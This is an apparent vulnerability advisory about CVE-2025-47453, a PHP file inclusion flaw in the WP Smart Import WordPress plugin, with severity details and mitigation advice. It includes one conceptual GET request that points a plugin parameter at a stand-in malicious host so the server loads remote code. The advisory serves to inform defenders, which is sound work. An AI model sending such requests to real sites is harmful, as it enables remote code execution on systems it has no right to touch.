Overview
The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability, labelled CVE-2025-47453, which poses a serious threat to Xylus Themes WP Smart Import users. This vulnerability stems from an improper control of filename for Include/Require Statement in PHP Program, also known as a PHP Remote File Inclusion vulnerability. The severity of the issue is intensified by the fact that it allows for PHP Local File Inclusion, increasing the potential impact on the affected systems. It’s crucial for users and administrators to understand the implications of this vulnerability, its mechanisms, and the remediation steps required to secure their systems.
Vulnerability Summary
CVE ID: CVE-2025-47453
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
Xylus Themes WP Smart Import | n/a – 1.1.3
How the Exploit Works
This vulnerability arises from the misuse of ‘include’ or ‘require’ statements in PHP, which can allow an attacker to load remote files that contain malicious code. The improper control of filename for these statements in the Xylus Themes WP Smart Import plugin enables an attacker to exploit the system by manipulating the file paths, ultimately leading to unauthorised code execution.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
GET /path-to-vulnerable-plugin/?parameter=http://malicious-site.com/malicious-file.txt HTTP/1.1
Host: target-site.comIn the above example, the attacker uses a GET request to the vulnerable plugin and manipulates the parameter value to include a malicious file from a remote server.
Mitigation Guidance
The recommended mitigation strategy for this vulnerability is to apply the vendor patch as soon as it becomes available. As a temporary mitigation measure, users can implement Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) to detect and prevent any potential attacks. It’s also advisable to regularly update and patch your systems, and monitor any suspicious activities.